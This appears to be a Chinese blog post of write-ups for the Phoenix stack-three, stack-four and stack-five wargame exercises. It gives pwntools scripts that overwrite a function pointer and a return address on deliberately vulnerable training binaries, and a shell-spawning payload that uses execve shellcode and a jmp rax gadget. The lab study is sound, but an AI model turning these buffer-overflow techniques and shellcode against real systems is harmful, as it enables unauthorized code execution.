BuringStraw

BuringStraw

[pwn筆記2] stack-three, stack-four, stack-five(Phoenix)

最近又是數模又是開學的,很難受,還是看看遠方的入門題吧。沒有動態基址,還是比較簡單的。

(寫這段的時候還沒想到接下來還有概率論考試,還打了場 ctf 校賽,所以。。。)

stack-three#

覆蓋一個即將被呼叫的函數指標的資料,跟前面差不多。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p64(0x40069d)
sh = shell.run(b"/opt/phoenix/amd64/stack-three")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))

stack-four#

覆蓋堆疊上的返回地址。

https://s2.loli.net/2023/02/25/YB5ux4CUSAeowPv.png

0x648-0x5f0=88

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 88 + p64(0x40061d)
sh = shell.run(b"/opt/phoenix/amd64/stack-four")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))

stack-five#

需要拿到 shell。由於堆疊是可執行的,可以利用 gets 來把 shellcode 讀進來,覆蓋返回地址來執行 shellcode。

這個過程看起來非常完美,可是不知道為什麼返回到堆疊上執行兩步就會段錯誤。關掉了 aslr,嘗試了附加調試和取消 gdb 環境變量,以消除堆疊地址的變化,都沒有進展。

後來看到了另一個方法:

![Untitled](/pics/%5Bpwn 筆記 2%5Dstack-three,%20stack-four,%20stack-five (Phoeni%207b5b662947354bf68eff78239c6d2262/Untitled.png)

調用 gets 之前,s 被放入了 rax 中。所以直接把 shellcode 放到最前面就會被 rax 指向。

我們可以用 rop,找到一段jmp rax,返回到那裡,然後下一步就會跳到 shellcode 了。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

total = 136
sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
jmp_rax = p64(0x400481)
s = sc+b"a"*(total-len(sc))+jmp_rax

sh = shell.run(b"/opt/phoenix/amd64/stack-five")
sh.recvlines(1)
sh.sendline(s)
sh.interactive()

還有一件事,gef 可以用以下命令調整 context 裡 stack 顯示的行數

gef config context.nb_lines_stack 30

這樣就不用在虛擬機裡再裝個 peda 了(這兩個共存很卡)。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。